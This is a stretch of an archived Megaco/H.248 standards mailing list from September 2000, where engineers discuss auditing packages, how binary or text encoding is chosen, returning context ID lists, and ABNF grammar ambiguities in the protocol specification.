> > > >
> > > > Brian
> > > >
> > >
> >
> >
> >
> >
> >
> >

--------------7C451CFEFBE95C7EE372F74C
Content-Type: text/x-vcard; charset=us-ascii;
 name="paul.hollis.vcf"
Content-Description: Card for Paul Hollis
Content-Disposition: attachment;
 filename="paul.hollis.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard
n:Hollis;Paul
tel;fax:9301 1139
tel;work:9301 2326
x-mozilla-html:FALSE
org:Ericsson Australia.
adr:;;;Melbourne;Victoria;;Australia
version:2.1
email;internet:Paul.Hollis@ericsson.com.au
title:Software Designer (Signalling)
x-mozilla-cpt:;17264
fn:Paul Hollis
end:vcard

--------------7C451CFEFBE95C7EE372F74C--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 19:17:15 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA09923
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 19:17:02 -0400 (EDT)
Received: from standards (47.234.32.16:4393) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92298@standards.nortelnetworks.com>; Mon, 11 Sep 2000 19:01:54 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0464 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 19:01:54 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9228D@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          18:51:53 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e8BN5Bp07540; Tue, 12 Sep 2000 01:05:11 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          BAA25067; Tue, 12 Sep 2000 01:05:10 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id BAA04759; Tue, 12 Sep 2000
          01:05:07 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF678859@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39BD6521.B313BCE3@ericsson.com>
Date:         Tue, 12 Sep 2000 10:05:05 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Audit of Packages
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Brian,

What does the response look like in 3) below in the case of normal
response and in the case of w- wilcard response?

Cheers, Christian

"Rosen, Brian" wrote:
>
> In some private correspondence, there was some continuing
> confusion on auditValue of Packages.  Here is my current
> understanding:
>
> 1. If you audit ROOT, using NULL context, you get the list
> of Packages implemented on ROOT. You don't get Packages
> implemented on any other terminations.
>
> 2. If you audit ALL, using NULL context, you get the union of
> packages implemented on any termination in NULL.  Since, right
> after boot, all terminations are in NULL, this is the normal
> way you get the list of packages implemented on the gateway.
> A notable side effect:
>         ROOT is not in ALL.
>         Therefore, Context=-{AuditValue=*{Audit{Packages}}}
>                 DOES NOT get you packages implemented on ROOT
>
> 3. If you audit ALL, using ALL context, you get the union
> of packages implemented on any termination in any Context other
> than NULL.  You would do this if you needed the packages list
> when some terminations were in contexts other than NULL.
>
> Please note that if you ask for an audit of ALL in ALL, and there
> are no terminations in Contexts other than NULL, you get an
> error (431 - No TerminationID matched a wildcard).
>
> Is that everyone else's understanding?
>
> Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 20:18:55 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA10219
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 20:18:54 -0400 (EDT)
Received: from standards (47.234.32.16:4393) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB922F0@standards.nortelnetworks.com>; Mon, 11 Sep 2000 20:03:56 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0589 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 20:03:56 -0400
Received: from sj-msg-core-1.cisco.com by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1b) with SMTP id
          <0.FFB922EF@standards.nortelnetworks.com>; Mon, 11 Sep 2000 20:03:56
          -0400
Received: from mira-sjc5-1.cisco.com (mira-sjc5-1.cisco.com [171.71.163.15]) by
          sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id RAA22522; Mon, 11
          Sep 2000 17:17:35 -0700 (PDT)
Received: from cisco.com (dhcp-171-71-145-133.cisco.com [171.71.145.133]) by
          mira-sjc5-1.cisco.com (Mirapoint) with ESMTP id ADY03969 (AUTH
          pmelanah); Mon, 11 Sep 2000 17:16:33 -0700 (PDT)
X-Mailer: Mozilla 4.5 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39BD75CB.BE662D24@cisco.com>
Date:         Mon, 11 Sep 2000 17:16:11 -0700
Reply-To: Paddu Melanahalli <pmelanah@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Paddu Melanahalli <pmelanah@CISCO.COM>
Organization: Cisco Systems
Subject:      Negotiation
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi,
   If some one has answers pls let me know.

1. How can MGC decide on Binary or Text mode data exchange?
   If it is part of negotiations (if any), then what would
   be the megaco command.
2. Is this binary or text mode depends on tcp/udp port specific?
   If so pls let me know detailed specifications? or where can I
   get'em.

Thanks in advance.
Paddu


--
                Enthusiasm
You can do anything... if you have Enthusiasm.
Enthusiasm is the yeast makes your hopes rise to the stars.
Enthusiasm is the sparkle in you eyes.
Enthusiasm   with it there is accomplishment,
                       without it there are only alibis
                                     --- Henry Ford's motto
________________________________________________________

C i s c o  S y s t e m s.  Paddu Melanahalli, NSSU
Voice:(408)525 5236 Fax: (408)527 1568  Pgr:(408)788 8275
 Email: pmelanah@cisco.com
________________________________________________________


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 20:24:04 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA10251
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 20:24:04 -0400 (EDT)
Received: from standards (47.234.32.16:4393) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92311@standards.nortelnetworks.com>; Mon, 11 Sep 2000 20:08:58 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0630 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 20:08:58 -0400
Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB92310@standards.nortelnetworks.com>; Mon, 11 Sep 2000 20:08:57
          -0400
Received: from aiglos.trillium.com (smtp.trillium.com [192.168.3.20]) by
          turin.trillium.com (8.11.0/8.11.0) with ESMTP id e8C0QhH29794; Mon,
          11 Sep 2000 17:26:43 -0700 (PDT)
Received: from aega.trillium.com (aega.trillium.com [192.168.1.19]) by
          aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id RAA08024; Mon, 11 Sep
          2000 17:22:01 -0700 (PDT)
Received: by aega.trillium.com with Internet Mail Service (5.5.2650.21) id
          <RT9L6YGQ>; Mon, 11 Sep 2000 17:13:53 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <8BBD33A986C5D311804000902719FF5D9FB458@aega.trillium.com>
Date:         Mon, 11 Sep 2000 17:13:52 -0700
Reply-To: Bharat Kaul <bharat@TRILLIUM.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Bharat Kaul <bharat@TRILLIUM.COM>
Subject:      Re: Negotiation
X-To:         Paddu Melanahalli <pmelanah@CISCO.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Paddu,

 Both transport/encoding schemes are determined based on what MG used first
while contacting MGC on its default port. MG is expected keep transport and
encoding scheme same even if communication is moved to a different port.

- Bharat


-----Original Message-----
From: Paddu Melanahalli [mailto:pmelanah@CISCO.COM]
Sent: Monday, September 11, 2000 5:16 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Negotiation


Hi,
   If some one has answers pls let me know.

1. How can MGC decide on Binary or Text mode data exchange?
   If it is part of negotiations (if any), then what would
   be the megaco command.
2. Is this binary or text mode depends on tcp/udp port specific?
   If so pls let me know detailed specifications? or where can I
   get'em.

Thanks in advance.
Paddu


--
                Enthusiasm
You can do anything... if you have Enthusiasm.
Enthusiasm is the yeast makes your hopes rise to the stars.
Enthusiasm is the sparkle in you eyes.
Enthusiasm   with it there is accomplishment,
                       without it there are only alibis
                                     --- Henry Ford's motto
________________________________________________________

C i s c o  S y s t e m s.  Paddu Melanahalli, NSSU
Voice:(408)525 5236 Fax: (408)527 1568  Pgr:(408)788 8275
 Email: pmelanah@cisco.com
________________________________________________________


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 23:13:03 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA13048
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 23:13:02 -0400 (EDT)
Received: from standards (47.234.32.16:3791) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB923A8@standards.nortelnetworks.com>; Mon, 11 Sep 2000 22:58:08 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0820 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 22:58:08 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB923A1@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          22:48:07 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e8C31Pp13447; Tue, 12 Sep 2000 05:01:25 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          FAA26931; Tue, 12 Sep 2000 05:01:24 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id FAA05626; Tue, 12 Sep 2000
          05:01:22 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <39B35632.21AD8DE@ericsson.com> <39B366BD.68C1C695@globespan.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39BD9C7B.B2445160@ericsson.com>
Date:         Tue, 12 Sep 2000 14:01:15 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Context List in H.248
X-To:         Shalini Philip <sphilip@globespan.net>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Shalini,

So we have an inconsistancy in the protocol. The protocol text in
version 1 explicitely says that we have this functionality but the
syntax doesn't allow it. To me returning a list of context IDs is pretty
important functionality. So we are left with the decision to update the
syntax or to remove the text. I prefer the former.

Cheers, Christian

Shalini Philip wrote:
>
> Hello Christian, list,
>
>     I recall this issue being discussed on the mailing list sometime back.
> And it was decided that we would modify the grammar to return a Context Id
> list only in V2.
> The information of ContextId list can be conveyed by using different Action
> Replies in the existing grammar. But as I see it, it is not possible to
> specify an Action Reply with an empty Audit reply.
>
> Thanks & Regards,
>    Shalini Philip.
>
> Christian Groves wrote:
>
> > G'Day all,
> >
> > I've found an inconsistency between the text and the encodings.
> >
> > In section 7.2.5 AuditValue it has the following table:
> >
> > The following illustrates other information that can be obtained with
> > the Audit Command:
> > ContextID       TerminationID   Information Obtained
> > :
> > All             wildcard        Audit of all matching Terminations and
> >                                 the Context to which they are associated
> > All             Root            List of all ContextIds
> >
> > However the ABNF nor the ASN.1 have the support to send back a list of
> > context IDs. This is complicated by the fact the ContextIds sit above
> > the command. I think the functionality is desirable and valid so I guess
> > we need to fix the encodings.
> >
> > Firstly do people see this as a valid problem? If so one solution would
> > be to add the ContextIDList to AuditReturnParameter. Do people have
> > other suggestions?
> >
> > Cheers, Christian
> >
> > Notice to Recipient:
> > This message is intended only for the use of the Addressee
> > and may contain information that is proprietary and confidential
> > and/or privileged by law. If you received this e-mail in error,
> > any review, use, dissemination, distribution or copying of this
> > e-mail is strictly prohibited. If you have received this e-mail in
> > error, please notify us immediately of the error by return e-mail
> > and please delete this message and all attachments from your system.
> > Thank you.
>
> --
> Regards,
>
> Shalini Philip
> Globespan Inc.
> E-Mail : mailto:sphilip@globespan.net
> Web    : http://www.globespan.net


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 12 00:56:40 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA14288
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 12 Sep 2000 00:56:39 -0400 (EDT)
Received: from standards (47.234.32.16:1605) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9242E@standards.nortelnetworks.com>; Tue, 12 Sep 2000 0:41:40 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1008 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 12 Sep 2000 00:41:40 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9242D@standards.nortelnetworks.com>; Tue, 12 Sep 2000
          0:31:40 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e8C4ixp02926; Tue, 12 Sep 2000 06:44:59 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          GAA27693; Tue, 12 Sep 2000 06:44:58 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id GAA06014; Tue, 12 Sep 2000
          06:44:55 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <39BD75CB.BE662D24@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39BDB4BE.6391CC3@ericsson.com>
Date:         Tue, 12 Sep 2000 15:44:46 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Negotiation
X-To:         Paddu Melanahalli <pmelanah@CISCO.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Paddu,

There is no negotiation of Binary or Text. In an IP environment
different defaults ports are used to differentiate between the binary
and text version of the protocol.

In non-IP transports the use of binary or text will be decided at
provisioning.

Cheers, Christian

Paddu Melanahalli wrote:
>
> Hi,
>    If some one has answers pls let me know.
>
> 1. How can MGC decide on Binary or Text mode data exchange?
>    If it is part of negotiations (if any), then what would
>    be the megaco command.
> 2. Is this binary or text mode depends on tcp/udp port specific?
>    If so pls let me know detailed specifications? or where can I
>    get'em.
>
> Thanks in advance.
> Paddu
>
> --
>                 Enthusiasm
> You can do anything... if you have Enthusiasm.
> Enthusiasm is the yeast makes your hopes rise to the stars.
> Enthusiasm is the sparkle in you eyes.
> Enthusiasm   with it there is accomplishment,
>                        without it there are only alibis
>                                      --- Henry Ford's motto
> ________________________________________________________
>
> C i s c o  S y s t e m s.  Paddu Melanahalli, NSSU
> Voice:(408)525 5236 Fax: (408)527 1568  Pgr:(408)788 8275
>  Email: pmelanah@cisco.com
> ________________________________________________________


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 12 04:07:22 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA27464
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 12 Sep 2000 04:07:20 -0400 (EDT)
Received: from standards (47.234.32.16:3400) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9247E@standards.nortelnetworks.com>; Tue, 12 Sep 2000 3:52:14 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1110 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 12 Sep 2000 03:52:14 -0400
Received: from qhars002.nortel.com (47.101.112.102:63989) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9247D@standards.nortelnetworks.com>; Tue, 12 Sep 2000
          3:52:14 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Tue, 12 Sep 2000
          09:05:16 +0100
Received: from zmers013 (actually zmers013.ca.nortel.com) by
          zrtps06s.us.nortel.com; Tue, 12 Sep 2000 04:05:15 -0400
Received: from tlhuph12.elex.co.il (actually ertpg1e0.us.nortel.com) by
          zmers013; Tue, 12 Sep 2000 04:05:03 -0400
Received: from tmx100.elex.co.il (tmx100.elex.co.il [141.226.8.254]) by
          tlhuph12.elex.co.il (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id LAA27905
          for <MEGACO@standards.nortelnetworks.com>; Tue, 12 Sep 2000 11:07:42
          +0300 (IDT)
Received: from tl100h0c.elex.co.il by tmx100.elex.co.il (8.8.8+Sun/SMI-SVR4) id
          LAA20696; Tue, 12 Sep 2000 11:07:34 +0300 (IDT)
Received: from tmx100.elex.co.il (rakefet@localhost [127.0.0.1]) by
          tl100h0c.elex.co.il with ESMTP (8.8.6 (PHNE_14041)/8.7.3) id LAA07719
          for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 12 Sep 2000 11:07:33
          +0300 (IDT)
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Orig: <rakefet.prozan@telrad.co.il>
Message-ID:  <39BDE444.1BF1727B@tmx100.elex.co.il>
Date:         Tue, 12 Sep 2000 11:07:32 +0300
Reply-To: "Prozan, Rakefet" <rakefet.prozan@telrad.co.il>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Prozan, Rakefet" <rakefet.prozan@telrad.co.il>
Organization: Telrad Ltd.
Subject:      Syntax problems
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi all,

I have 2 Syn
--
Rakefet Prozan,
Team Manager, S/W Development
Nortel SBU
Telrad Networks
ESN 828-3043   Email:rakefet.prozan@telrad.co.il


                                       """
                                     -(o o)-
+---------------------------------oOO--(_)--OOo--------------+

                               .oooO         Oooo.
-------------------------------(   )---------(   )------------
                                \ (           ) /
                                 \_)         (_/

Have fun !!!


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 12 05:19:13 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA27775
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 12 Sep 2000 05:19:11 -0400 (EDT)
Received: from standards (47.234.32.16:4981) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB924A9@standards.nortelnetworks.com>; Tue, 12 Sep 2000 5:04:05 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1169 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 12 Sep 2000 05:04:00 -0400
Received: from qhars002.nortel.com (47.101.112.102:43524) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB924A8@standards.nortelnetworks.com>; Tue, 12 Sep 2000
          5:04:00 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Tue, 12 Sep 2000
          10:15:27 +0100
Received: from zmers013 (actually zmers013.ca.nortel.com) by
          zrtps06s.us.nortel.com; Tue, 12 Sep 2000 05:15:26 -0400
Received: from tlhuph12.elex.co.il (actually ertpg1e0.us.nortel.com) by
          zmers013; Tue, 12 Sep 2000 05:15:06 -0400
Received: from tmx100.elex.co.il (tmx100.elex.co.il [141.226.8.254]) by
          tlhuph12.elex.co.il (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id MAA01144
          for <MEGACO@standards.nortelnetworks.com>; Tue, 12 Sep 2000 12:17:50
          +0300 (IDT)
Received: from tl100h0c.elex.co.il by tmx100.elex.co.il (8.8.8+Sun/SMI-SVR4) id
          MAA23710; Tue, 12 Sep 2000 12:17:43 +0300 (IDT)
Received: from tmx100.elex.co.il (rakefet@localhost [127.0.0.1]) by
          tl100h0c.elex.co.il with ESMTP (8.8.6 (PHNE_14041)/8.7.3) id MAA07790
          for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 12 Sep 2000 12:17:41
          +0300 (IDT)
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Orig: <rakefet.prozan@telrad.co.il>
Message-ID:  <39BDF4B4.89B38B68@tmx100.elex.co.il>
Date:         Tue, 12 Sep 2000 12:17:40 +0300
Reply-To: "Prozan, Rakefet" <rakefet.prozan@telrad.co.il>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Prozan, Rakefet" <rakefet.prozan@telrad.co.il>
Organization: Telrad Ltd.
Subject:      Syntax problems
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi all,

The previous mail was sent by mistake. This is the correct mail:

Can someone clear the following issues in ABNF?

1) In APPENDIX A EXAMPLE CALL FLOW:

   ...
   8.  The MGC Modifies the termination to play dial tone, to look for
   digits according to Dialplan0 and to look for the on-hook event now.
   MGC to MG1:

   MEGACO/1 [123.123.123.4]:55555
   Transaction = 10001 {
       Context = - {
           Modify = A4444 {
               Events = 2223 {
                   al/on, dd/ce {DigitMap=Dialplan0}
               },
               Signals {cg/dt},
               DigitMap= Dialplan0{
   (0| 00|[1-7]xxx|8xxxxxxx|Fxxxxxxx|Exx|91xxxxxxxxxx|9011x.)}
           }
       }
   }

  According to the definition of digitMapRAnge :

   digitMapRange = ("x" / LWSP "[" LWSP digitLetter LWSP "]" LWSP)


  "x" must be followed by "[" .
  So, either there is an error in the example,or the definition should
be:

  digitMapRange = ("x" /( LWSP "[" LWSP digitLetter LWSP "]" LWSP ))

2) In ABNF:

   contextRequest = ((contextProperties [COMMA contextAudit])
                  / contextAudit)

   contextProperties  = contextProperty *(COMMA contextProperty)



My problem is : if the parser finds a COMMA after a contextProperty, it
doesn't have any indication to know what will come after this COMMA:
another
contextProperty,or the optional contextAudit. This results in a loop.
I think that there are two alternatives ways to solve this:

Either to put  contextAudit in { } :

contextRequest = ((contextProperties LBRKT [COMMA contextAudit] RBRKT)
               / contextAudit)

Or put contextProperties in { } :

contextRequest = ((LBRKT contextProperties RBRKT [COMMA contextAudit])
                  / contextAudit)


 thank you in advance,
--
Rakefet Prozan,
Team Manager, S/W Development
Nortel SBU
Telrad Networks
ESN 828-3043   Email:rakefet.prozan@telrad.co.il


                                       """
                                     -(o o)-
+---------------------------------oOO--(_)--OOo--------------+

                               .oooO         Oooo.
-------------------------------(   )---------(   )------------
                                \ (           ) /
                                 \_)         (_/

Have fun !!!


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 12 09:29:21 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA02890
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 12 Sep 2000 09:29:19 -0400 (EDT)
Received: from standards (47.234.32.16:1660) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB926B6@standards.nortelnetworks.com>; Tue, 12 Sep 2000 9:14:04 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1846 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 12 Sep 2000 09:14:04 -0400
Received: from fw7.usa.alcatel.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB926AA@standards.nortelnetworks.com>; Tue, 12 Sep 2000 9:04:03
          -0400
Received: (from uucp@localhost) by fw7.usa.alcatel.com (8.8.8+Sun/8.8.8) id
          IAA29469 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 12 Sep 2000
          08:13:58 -0500 (CDT)
Received: from <Chuong.Nguyen@usa.alcatel.com> (relay2-alt.usa.alcatel.com
          [143.209.167.22]) by fw7 via smap (V2.1) id xma029393; Tue, 12 Sep 00
          08:13:20 -0500
Received: from ssd.usa.alcatel.com (localhost [127.0.0.1]) by
          relay2.usa.alcatel.com (8.9.3/8.9.3) with ESMTP id IAA18368 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 12 Sep 2000 08:17:27
          -0500 (CDT)
Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com
          [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with
          ESMTP id IAA00787 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 12
          Sep 2000 08:15:43 -0500 (CDT)
Received: from usa.alcatel.com (localhost [127.0.0.1]) by
          sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id IAA10022
          for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 12 Sep 2000 08:15:43
          -0500 (CDT)
X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: multipart/alternative;
              boundary="------------6A9CBA5FF2DD00CD14898E5B"
Message-ID:  <39BE2C7F.ADE11FF9@usa.alcatel.com>
Date:         Tue, 12 Sep 2000 08:15:43 -0500
Reply-To: Chuong Nguyen <Chuong.Nguyen@USA.ALCATEL.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Chuong Nguyen <Chuong.Nguyen@USA.ALCATEL.COM>
Subject:      Network Package:  Event network failure
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------6A9CBA5FF2DD00CD14898E5B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi All,

In the Network Package there is an Event, network failure:
"The termination generates this event upon detection of a failure due to
external or internal
network reasons."

1) Is this package only intended for ephermeral termination or physical
termination too?
     Does it make sense to used it for TDM termination?

2) During normal call setup, is the expectation that the MGC will always
have to specify this
     event when adding an ephermeral termination?

3) Is this event intended to be used after call setup to notify MGC that
there is some
     network problem related to this termination associated w/this
event?

4) If this event is received at MGC, has the termination been put out of
